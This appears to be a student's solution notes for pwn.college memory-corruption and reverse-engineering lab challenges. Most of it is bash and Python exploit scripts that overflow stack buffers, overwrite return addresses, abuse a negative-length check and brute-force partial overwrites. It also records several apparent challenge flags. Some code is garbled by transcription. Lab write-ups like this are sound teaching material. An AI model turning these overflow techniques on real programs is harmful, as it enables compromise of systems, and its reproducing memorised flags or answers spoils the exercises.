Memory Errors

memory.sh chmod +x ./memory.sh

```
#!/bin/bash
1
   file="/challenge/*"
3
   payload_size=$1
5
   string=$2
6
7
    append_string=$(echo -e "$string")
8
    string=$(printf '1%.0s' $(seq 1 $payload_size))
9
    if [[ -n "$append_string" ]]; then
        string="${string}${append_string}"
13
14
    payload_size=$(($payload_size+${#append_string}))
16
17
    printf "$payload_size $string" | $file
18
19
    echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

Level 1.0

/challenge/babymem_level1.0

On the last line of the output it's written:

The "win" variable is stored at 0xXXXXXXXXX, \$n bytes after the start of your input buffer.

The paylod size will be n+1. After that just type n+1 characters.

Level 1.1

./memory.sh 121

Level 2.0

Level 2.1

Level 3.0

```
./memory.sh 152 "\xfa\x19\x40"
```

Level 3.1

```
./memory.sh 104 "\times16\times1c\times40"
```

Level 4.0

Inputting a negative integer works because the check in the challenge procedure is always verified (any negative number is smaller than whatever positive constant is being used to do the check). This number, interpreted as a two's complement by the check, is instead read like a giant number by the read syscall that gets the payload text.

For example, if I input -2 as my payload length, it's saved in the stack as a 32-bit number in two's complement: 0xFFFFFFE. This number is then read by the read syscall like $2^{32}-1$

How is the check implemented here?

memory.sh

```
#!/bin/bash
    file="/challenge/*"
3
5
    payload_size=$1
    payload_size=$((payload_size * -1))
    append_string=$(echo -e "\x9a\x20\x40")
    string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))
9
11
    if [[ -n "$append_string" ]]; then
12
        string="${string}${append_string}"
13
14
    printf "%d %s" "$payload_size" "$string" | $file
16
17
    echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

./memory.sh 72

Level 4.1

```
#!/bin/bash
2
    file="/challenge/*"
3
4
    payload_size=$1
5
    payload_size=$((payload_size * -1))
6
    append_string=$(echo -e "\x70\x15\x40")
7
8
9
    string=$(printf '1%.0s' $(seq 1 $(($payload_size * -1))))
    if [[ -n "$append_string" ]]; then
11
12
        string="${string}${append_string}"
13
14
15
    printf "%d %s" "$payload_size" "$string" | $file
16
17
   echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

./memory.sh 56

Level 5.0

The concept is very similar to the one used in the previous level.

```
1
  #!/bin/bash
    file="/challenge/*"
3
4
    payload_n=2
    payload_size=$1
6
    overflowing_payload_size=2147483648
8
    append_string=$(echo -e "\xcd\x21\x40")
    string=$(printf '1%.0s' $(seq 1 $payload_size))
    if [[ -n "$append_string" ]]; then
13
        string="${string}${append_string}"
    payload_size=$(($payload_size+${#append_string}))
18
    printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file
19
   echo -e '\nThe provided string is:' $string ', length:' $payload_size
```

./memory5.sh 88

Level 5.1

```
1
   #!/bin/bash
2
    file="/challenge/*"
3
4
5
   payload_n=2
    payload_size=$1
6
7
    overflowing_payload_size=2147483648
    append_string=$(echo -e "\x43\x21\x40")
8
9
    string=$(printf '1%.0s' $(seq 1 $payload_size))
    if [[ -n "$append_string" ]]; then
12
        string="${string}${append_string}"
13
14
    payload_size=$(($payload_size+${#append_string}))
16
17
    printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file
18
19
   echo -e '\nThe provided string is:' $string ', length:' $payload_size
20
```

./memory5.sh 72

Level 6.0

```
./memory.sh 56 "\times0\times16\times40"
```

Level 6.1

```
./memory.sh 136 "\xd8\xd8\xd9"
```

Level 7.0

script.py

```
1 | import os
2
    import sys
3
    import struct
4
    import subprocess
5
    challenge_dir = "/challenge"
6
7
    file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
9
    buffer_size = int(sys.argv[1])
    target_address = 0x2830
    payload = b"A" * (buffer_size)
    target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte</pre>
14
    payload += target_struct
    payload_len = len(payload)
16
    def execute_attack():
       try:
19
            process = subprocess.Popen([file], stdin=subprocess.PIPE)
            input_data = f"{payload_len}".encode() + b"\n" + payload
            print(input_data)
            process.communicate(input=input_data)
        except Exception as e:
            print(f"error: {e}")
24
    if __name__ == "__main__":
        print(f"Payload generato ({len(payload)} bytes).")
        print(f"Indirizzo di iniezione: {hex(target_address)}")
28
29
        execute_attack()
```

python script.py 104 run it until you get the fourth byte right (1 in 16 chance)

Level 7.1

python script.py 120 run it until you get the fourth byte right (1 in 16 chance)

Level 8.0

script8.py

```
1 | import os
    import sys
    import struct
    import subprocess
5
    challenge_dir = "/challenge"
    file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
    buffer_size = int(sys.argv[1])
    target_address = 0x2830
    payload = b"A\x00" * (buffer_size)
    target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte</pre>
13
14
    payload += target_struct
    payload_len = len(payload)
15
16
17
    def execute_attack():
18
        try:
19
             process = subprocess.Popen([file], stdin=subprocess.PIPE)
             input_data = f"{payload_len}".encode() + b"\n" + payload
21
             print(input_data)
             process.communicate(input=input_data)
        except Exception as e:
```

```
print(f"error: {e}")

if __name__ == "__main__":
    print(f"Payload generato ({len(payload)} bytes).")

print(f"Indirizzo di iniezione: {hex(target_address)}")

execute_attack()
```

python script8.py 36 run it until you get the fourth byte right (1 in 16 chance)

Level 8.1

```
put target_address = 0x2626
```

python script8.py 76 run it until you get the fourth byte right (1 in 16 chance)

Level 9.0

script9.py

```
1 import os
   import sys
3 import struct
   import subprocess
5
    challenge_dir = "/challenge"
7
    file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
9
    buffer_size = int(sys.argv[1])
    target_address = 0x2a6c
    payload = b"A" * 32
    payload += struct.pack("<B", (buffer_size - 1)) # - 1 because n updates itself when overwritten</pre>
14
    target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte</pre>
    payload += target_struct
16
    payload_len = buffer_size + 2
17
18
    def execute_attack():
19
      try:
20
            process = subprocess.Popen([file], stdin=subprocess.PIPE)
            input_data = f"{payload_len}".encode() + b"\n" + payload
            print(input_data)
            process.communicate(input=input_data)
23
       except Exception as e:
24
            print(f"error: {e}")
    if __name__ == "__main__":
        print(f"Payload generato ({len(payload)} bytes).")
28
29
        print(f"Indirizzo di iniezione: {hex(target_address)}")
        execute_attack()
```

python script9.py 56 run it until you get the fourth byte right (1 in 16 chance)

Level 9.1

```
put target_address = 0x2fff and payload = b"A" * 80
```

python script9.py 104 run it until you get the fourth byte right (1 in 16 chance)

• *challenge+237 holds the n variable in rdx

Level 10.0

script10.py

```
1 import os
    import sys
    import struct
    import subprocess
    challenge_dir = "/challenge"
6
    file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
    buffer_size = int(sys.argv[1])
    def execute_attack(payload):
        try:
13
           process = subprocess.Popen([file], stdin=subprocess.PIPE, stdout=subprocess.PIPE,
    stderr=subprocess.PIPE)
            input_data = f"{buffer_size}".encode() + b"\n" + payload
            print(input_data)
            stdout, stderr = process.communicate(input=input_data)
            if b"pwn.coll" in stdout:
               print(stdout.decode())
        except Exception as e:
            print(f"error: {e}")
    if __name__ == "__main__":
        for i in range(buffer_size+1):
            payload = b"A" * i
26
            print(f"Payload generato ({len(payload)} bytes).")
            execute_attack(payload)
```

python script10.py 100 70

Check the rsi resigter before the two read syscalls: the first one is for reading from the \flag file, the second one is for your input buffer. The subtraction between those two addresses gives you the right offset.

Level 10.1

python script10.py 120 112

Level 11.0

```
(echo "28672"; python3 -c "print('a' * 28672, end='')") | /challenge/babymem_level11.0
```

Reverse Engeneering

Level 4.0

```
hd /challenge/*
fqrwx = key
xwrqf = input
pwn.college{Ir4vPt9ItBdlBq7zlSVXt2A8uHB.0lN0IDL5EzW}
```

Level 4.1

almrv = key vrmla = input pwn.college{M51067JNYv0HzVemHZ6_o8ocuIg.01N0IDL5EzW}

Level 5.0

kplb = key
lwkex = input
pwn.college{ghMtShYpGiXGP1rRrz9eXF9ULkr.0F00IDL5EzW}

Level 5.1

Tutorial gdb

~/.gdbinit configuration file
set disassembly-flavor intel to set intel syntax
info registers
x/i \$rip or x/i \$sp